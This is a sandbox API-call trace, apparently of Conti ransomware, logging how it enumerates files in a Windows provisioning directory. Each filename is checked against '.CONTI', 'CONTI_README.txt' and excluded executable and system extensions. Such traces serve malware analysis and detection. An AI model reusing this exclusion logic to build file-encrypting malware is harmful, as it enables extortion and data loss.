	[0108.583] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml"
	[0108.583] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907cb89c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907cb89c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907cb89c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml", cAlternateFileName="210__C~1.PRO")) returned 1
	[0108.583] lstrcmpiW (lpString1="210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.583] lstrcmpiW (lpString1="210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.583] StrStrIW (lpFirst="210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.583] StrStrIW (lpFirst="210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.583] StrStrIW (lpFirst="210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.583] StrStrIW (lpFirst="210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.583] StrStrIW (lpFirst="210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.583] StrStrIW (lpFirst="210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.583] StrStrIW (lpFirst="210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.583] StrStrIW (lpFirst="210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.583] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.583] lstrlenW (lpString="210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml") returned 68
	[0108.583] GetProcessHeap () returned 0x1720000
	[0108.583] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13e) returned 0x6588fb8
	[0108.583] lstrcpyW (in: lpString1=0x6588fb8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.583] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.583] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml"
	[0108.583] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907cb89c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907cb89c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907cb89c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="211__C~1.PRO")) returned 1
	[0108.583] lstrcmpiW (lpString1="211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".") returned 1
	[0108.583] lstrcmpiW (lpString1="211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2="..") returned 1
	[0108.583] StrStrIW (lpFirst="211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".CONTI") returned 0x0
	[0108.583] StrStrIW (lpFirst="211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.583] StrStrIW (lpFirst="211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".exe") returned 0x0
	[0108.583] StrStrIW (lpFirst="211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".dll") returned 0x0
	[0108.583] StrStrIW (lpFirst="211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".lnk") returned 0x0
	[0108.583] StrStrIW (lpFirst="211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".sys") returned 0x0
	[0108.584] StrStrIW (lpFirst="211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".CONTI") returned 0x0
	[0108.584] StrStrIW (lpFirst="211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.584] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.584] lstrlenW (lpString="211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned 68
	[0108.584] GetProcessHeap () returned 0x1720000
	[0108.584] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13e) returned 0x6588430
	[0108.584] lstrcpyW (in: lpString1=0x6588430, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.584] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.584] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0108.586] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907cb89c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907cb89c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907cb89c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2be, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml", cAlternateFileName="212__C~1.PRO")) returned 1
	[0108.588] lstrcmpiW (lpString1="212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.591] lstrcmpiW (lpString1="212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.591] StrStrIW (lpFirst="212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.591] StrStrIW (lpFirst="212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.591] StrStrIW (lpFirst="212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.591] StrStrIW (lpFirst="212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.591] StrStrIW (lpFirst="212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.591] StrStrIW (lpFirst="212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.591] StrStrIW (lpFirst="212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.591] StrStrIW (lpFirst="212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.591] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.591] lstrlenW (lpString="212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml") returned 61
	[0108.591] GetProcessHeap () returned 0x1720000
	[0108.591] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x130) returned 0x17e0f88
	[0108.591] lstrcpyW (in: lpString1=0x17e0f88, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.591] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.591] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml"
	[0108.594] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907f1b04, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907f1b04, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907f1b04, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="213__C~1.PRO")) returned 1
	[0108.594] lstrcmpiW (lpString1="213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0108.594] lstrcmpiW (lpString1="213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0108.594] StrStrIW (lpFirst="213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0108.594] StrStrIW (lpFirst="213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.594] StrStrIW (lpFirst="213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".exe") returned 0x0
	[0108.594] StrStrIW (lpFirst="213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".dll") returned 0x0
	[0108.596] StrStrIW (lpFirst="213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".lnk") returned 0x0
	[0108.596] StrStrIW (lpFirst="213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".sys") returned 0x0
	[0108.597] StrStrIW (lpFirst="213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0108.597] StrStrIW (lpFirst="213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.597] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.597] lstrlenW (lpString="213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 53
	[0108.597] GetProcessHeap () returned 0x1720000
	[0108.597] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x120) returned 0x17c7180
	[0108.597] lstrcpyW (in: lpString1=0x17c7180, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.597] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.597] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0108.598] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907f1b04, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907f1b04, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907f1b04, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cd, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml", cAlternateFileName="214__C~1.PRO")) returned 1
	[0108.598] lstrcmpiW (lpString1="214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.598] lstrcmpiW (lpString1="214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.599] StrStrIW (lpFirst="214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.599] StrStrIW (lpFirst="214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.599] StrStrIW (lpFirst="214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.599] StrStrIW (lpFirst="214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.599] StrStrIW (lpFirst="214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.599] StrStrIW (lpFirst="214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.599] StrStrIW (lpFirst="214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.599] StrStrIW (lpFirst="214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.599] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.599] lstrlenW (lpString="214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml") returned 69
	[0108.600] GetProcessHeap () returned 0x1720000
	[0108.602] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x6589100
	[0108.602] lstrcpyW (in: lpString1=0x6589100, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.602] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.602] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml"
	[0108.605] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907f1b04, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907f1b04, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907f1b04, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="215__C~1.PRO")) returned 1
	[0108.605] lstrcmpiW (lpString1="215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0108.605] lstrcmpiW (lpString1="215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0108.605] StrStrIW (lpFirst="215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0108.605] StrStrIW (lpFirst="215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.608] StrStrIW (lpFirst="215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".exe") returned 0x0
	[0108.608] StrStrIW (lpFirst="215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".dll") returned 0x0
	[0108.608] StrStrIW (lpFirst="215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".lnk") returned 0x0
	[0108.608] StrStrIW (lpFirst="215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".sys") returned 0x0
	[0108.608] StrStrIW (lpFirst="215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0108.608] StrStrIW (lpFirst="215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.608] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.608] lstrlenW (lpString="215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 53
	[0108.608] GetProcessHeap () returned 0x1720000
	[0108.608] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x120) returned 0x17c7180
	[0108.608] lstrcpyW (in: lpString1=0x17c7180, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.608] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.608] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0108.610] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907f1b04, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907f1b04, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907f1b04, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x283, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml", cAlternateFileName="216__C~1.PRO")) returned 1
	[0108.616] lstrcmpiW (lpString1="216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.616] lstrcmpiW (lpString1="216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.616] StrStrIW (lpFirst="216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.616] StrStrIW (lpFirst="216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.616] StrStrIW (lpFirst="216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.617] StrStrIW (lpFirst="216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.617] StrStrIW (lpFirst="216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.617] StrStrIW (lpFirst="216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.617] StrStrIW (lpFirst="216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.617] StrStrIW (lpFirst="216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.617] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.617] lstrlenW (lpString="216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml") returned 62
	[0108.617] GetProcessHeap () returned 0x1720000
	[0108.617] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x6589768
	[0108.617] lstrcpyW (in: lpString1=0x6589768, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
